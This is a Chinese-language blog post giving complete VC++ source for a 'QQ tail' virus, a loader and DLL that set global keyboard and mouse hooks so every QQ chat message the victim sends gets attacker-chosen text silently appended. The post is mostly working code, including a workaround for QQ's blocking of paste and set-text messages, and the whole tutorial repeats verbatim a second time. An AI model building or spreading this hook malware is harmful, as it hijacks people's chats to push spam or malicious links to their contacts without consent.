前一段时间在病毒源代码的博客上看到了QQ尾巴病毒的原理,他的博客确实不错,有很多这方面的东西。不过他是用VB或者DELPHI写的(区分不清,呵呵),而且感觉他写得有点乱,可能我习惯看C格式的代码吧。最近我用VC重写了一下,增加了一点设置功能,一些地方又加了些注释,会比较容易看懂。
首先新建一个WIN32 CONSOLE的工程,主文件代码如下:
#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
void errOut (char *msg)
{
printf ("%s/n",msg);
}
int main(int argc, char* argv[])
{
HINSTANCE hDll=LoadLibrary ("..//dll//debug//dll.dll");//设置DLL的路径,假如你的DLL工程名和我一样的话就不用改了
if (hDll==NULL)
{
errOut("failed to open dll file!");
return 1;
}
typedef void (WINAPI *MYFUN) ();
MYFUN mf=NULL;
mf=(MYFUN)GetProcAddress(hDll,"HookOn");
if (mf==NULL)
{
errOut("failed to find HookOn function!");
return 1;
}
printf ("input the string you want to insert:");
scanf ("%s",(char*)GetProcAddress(hDll,"msg")+2);//set inserted message,+2跳过两个换行符
mf ();
printf ("press any key to unintall hook!/n");
system ("pause");
mf=(MYFUN)GetProcAddress(hDll,"HookOff");
if (mf==NULL)
{
errOut("failed to find HookOff function!");
return 1;
}
FreeLibrary(hDll);
return 0;
}
然后新建一个WIN32 DLL的工程插入到原有工作空间,我的工程名为dll。
DLL主文件源码:
// dll.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
#pragma data_seg( ".Shared")
char msg[255]="/n/n"; //在原消息后隔两行插入信息
#pragma data_seg()
#pragma comment(linker,"/section:.Shared,rws")
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#define _KeyPressMask 0x80000000
HINSTANCE ghInstance;
HWND hClient;
HHOOK KeyHook,MouseHook;
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
ghInstance=(HINSTANCE)hModule;
return TRUE;
}
HWND isQQ ()
{
HWND hEdit,hMain,hCon;
for (int i=0;i<=30;i++) //强制循环找句柄
{
hMain = FindWindowEx (0, hMain, "#32770", NULL); //聊天主窗口,标题为“与**聊天”,CLASS为#32770
hClient = FindWindowEx(hMain, 0, "#32770", NULL); //客户区
hCon = FindWindowEx(hClient, 0, "AfxWnd42", NULL);//AfxWnd42为包含编辑窗口的控件
hEdit = FindWindowEx(hCon, 0, "RICHEDIT", NULL); //找到消息编辑窗口
if (hEdit!=NULL)
break;
}
return hEdit;
}
//**{* /*/键盘钩子回调函数}
LRESULT _stdcall HookKey(int code,WPARAM wParam,LPARAM lParam)
{
if (((lParam&_KeyPressMask)==0)&& (GetKeyState(VK_CONTROL) < 0)&&(wParam == 13)&& (GetFocus() == isQQ ()))
{ //拦截Ctrl+回车,自动追加自己设置的信息
SendMessage(isQQ (), EM_REPLACESEL, 0,(LPARAM)msg);
}
if (((lParam& _KeyPressMask) == 0) && (GetKeyState(VK_MENU) < 0) && (wParam == 83) && (GetFocus() == isQQ()))
{ //拦截ALT+S,自动追加自己设置的信息
MessageBox (NULL,msg,"",0);
SendMessage(isQQ (), EM_REPLACESEL, 0,(LPARAM)msg);
}
return CallNextHookEx(KeyHook, code, wParam, lParam);
}
//这里需要注意一下,因为QQ有意屏蔽wm_paste和WM_SETTEXT这两个消息,所以这里
//我们必须要用EM_ReplaceSel消息.EM_ReplaceSel的意思是替换选中的字符,如果未
//选中任何字符的话,自动追加到末尾.
HWND isQQButton() //取QQ发送按纽的句柄
{
return FindWindowEx(hClient, NULL, NULL, "发送(&S)");
}
LRESULT _stdcall HookMouse(int iCode,WPARAM wParam,LPARAM lParam)
{
if (isQQ ()) //如果找到QQ聊天窗体
{
if (wParam ==WM_LBUTTONDOWN)//截获鼠标按下消息
{
if (PMOUSEHOOKSTRUCT(lParam)->hwnd==isQQButton()) //截获鼠标点击发送按纽消息
{
SendMessage(isQQ (), EM_REPLACESEL, 0, (LPARAM)msg);
}
}
return CallNextHookEx(MouseHook, iCode, wParam, lParam); //传递给下面的消息
}
return CallNextHookEx(MouseHook, iCode, wParam, lParam);
}
void _declspec(dllexport) WINAPI HookOn () //开钩
{
KeyHook = SetWindowsHookEx(WH_KEYBOARD, HookKey, ghInstance, NULL);
MouseHook = SetWindowsHookEx(WH_MOUSE, HookMouse, ghInstance, NULL);
if (!KeyHook)
printf ("key hook failed!/n");
if (!MouseHook)
printf ("mouse hook failed!/n");
printf ("hook has been managed!/n");
printf ("message [ %s ] will be inserted!/n",msg+2);//跳过两个换行符
}
void _declspec(dllexport) WINAPI HookOff () //脱钩
{
UnhookWindowsHookEx(KeyHook);
UnhookWindowsHookEx(MouseHook);
printf ("hook has been taken off!/n");
}
在DLL工程中新建一个DLL对应的DEF文件DLL.DEF如下:
EXPORTS
HookOn
HookOff
msg
SECTIONS
.Shared SHARED
好了,依次编译两个工程,大功告成了。现在运行下,QQ的消息后都被插入上已设置的信息了。
首先新建一个WIN32 CONSOLE的工程,主文件代码如下:
#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
void errOut (char *msg)
{
printf ("%s/n",msg);
}
int main(int argc, char* argv[])
{
HINSTANCE hDll=LoadLibrary ("..//dll//debug//dll.dll");//设置DLL的路径,假如你的DLL工程名和我一样的话就不用改了
if (hDll==NULL)
{
errOut("failed to open dll file!");
return 1;
}
typedef void (WINAPI *MYFUN) ();
MYFUN mf=NULL;
mf=(MYFUN)GetProcAddress(hDll,"HookOn");
if (mf==NULL)
{
errOut("failed to find HookOn function!");
return 1;
}
printf ("input the string you want to insert:");
scanf ("%s",(char*)GetProcAddress(hDll,"msg")+2);//set inserted message,+2跳过两个换行符
mf ();
printf ("press any key to unintall hook!/n");
system ("pause");
mf=(MYFUN)GetProcAddress(hDll,"HookOff");
if (mf==NULL)
{
errOut("failed to find HookOff function!");
return 1;
}
FreeLibrary(hDll);
return 0;
}
然后新建一个WIN32 DLL的工程插入到原有工作空间,我的工程名为dll。
DLL主文件源码:
// dll.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
#pragma data_seg( ".Shared")
char msg[255]="/n/n"; //在原消息后隔两行插入信息
#pragma data_seg()
#pragma comment(linker,"/section:.Shared,rws")
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#define _KeyPressMask 0x80000000
HINSTANCE ghInstance;
HWND hClient;
HHOOK KeyHook,MouseHook;
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
ghInstance=(HINSTANCE)hModule;
return TRUE;
}
HWND isQQ ()
{
HWND hEdit,hMain,hCon;
for (int i=0;i<=30;i++) //强制循环找句柄
{
hMain = FindWindowEx (0, hMain, "#32770", NULL); //聊天主窗口,标题为“与**聊天”,CLASS为#32770
hClient = FindWindowEx(hMain, 0, "#32770", NULL); //客户区
hCon = FindWindowEx(hClient, 0, "AfxWnd42", NULL);//AfxWnd42为包含编辑窗口的控件
hEdit = FindWindowEx(hCon, 0, "RICHEDIT", NULL); //找到消息编辑窗口
if (hEdit!=NULL)
break;
}
return hEdit;
}
//**{* /*/键盘钩子回调函数}
LRESULT _stdcall HookKey(int code,WPARAM wParam,LPARAM lParam)
{
if (((lParam&_KeyPressMask)==0)&& (GetKeyState(VK_CONTROL) < 0)&&(wParam == 13)&& (GetFocus() == isQQ ()))
{ //拦截Ctrl+回车,自动追加自己设置的信息
SendMessage(isQQ (), EM_REPLACESEL, 0,(LPARAM)msg);
}
if (((lParam& _KeyPressMask) == 0) && (GetKeyState(VK_MENU) < 0) && (wParam == 83) && (GetFocus() == isQQ()))
{ //拦截ALT+S,自动追加自己设置的信息
MessageBox (NULL,msg,"",0);
SendMessage(isQQ (), EM_REPLACESEL, 0,(LPARAM)msg);
}
return CallNextHookEx(KeyHook, code, wParam, lParam);
}
//这里需要注意一下,因为QQ有意屏蔽wm_paste和WM_SETTEXT这两个消息,所以这里
//我们必须要用EM_ReplaceSel消息.EM_ReplaceSel的意思是替换选中的字符,如果未
//选中任何字符的话,自动追加到末尾.
HWND isQQButton() //取QQ发送按纽的句柄
{
return FindWindowEx(hClient, NULL, NULL, "发送(&S)");
}
LRESULT _stdcall HookMouse(int iCode,WPARAM wParam,LPARAM lParam)
{
if (isQQ ()) //如果找到QQ聊天窗体
{
if (wParam ==WM_LBUTTONDOWN)//截获鼠标按下消息
{
if (PMOUSEHOOKSTRUCT(lParam)->hwnd==isQQButton()) //截获鼠标点击发送按纽消息
{
SendMessage(isQQ (), EM_REPLACESEL, 0, (LPARAM)msg);
}
}
return CallNextHookEx(MouseHook, iCode, wParam, lParam); //传递给下面的消息
}
return CallNextHookEx(MouseHook, iCode, wParam, lParam);
}
void _declspec(dllexport) WINAPI HookOn () //开钩
{
KeyHook = SetWindowsHookEx(WH_KEYBOARD, HookKey, ghInstance, NULL);
MouseHook = SetWindowsHookEx(WH_MOUSE, HookMouse, ghInstance, NULL);
if (!KeyHook)
printf ("key hook failed!/n");
if (!MouseHook)
printf ("mouse hook failed!/n");
printf ("hook has been managed!/n");
printf ("message [ %s ] will be inserted!/n",msg+2);//跳过两个换行符
}
void _declspec(dllexport) WINAPI HookOff () //脱钩
{
UnhookWindowsHookEx(KeyHook);
UnhookWindowsHookEx(MouseHook);
printf ("hook has been taken off!/n");
}
在DLL工程中新建一个DLL对应的DEF文件DLL.DEF如下:
EXPORTS
HookOn
HookOff
msg
SECTIONS
.Shared SHARED
好了,依次编译两个工程,大功告成了。现在运行下,QQ的消息后都被插入上已设置的信息了。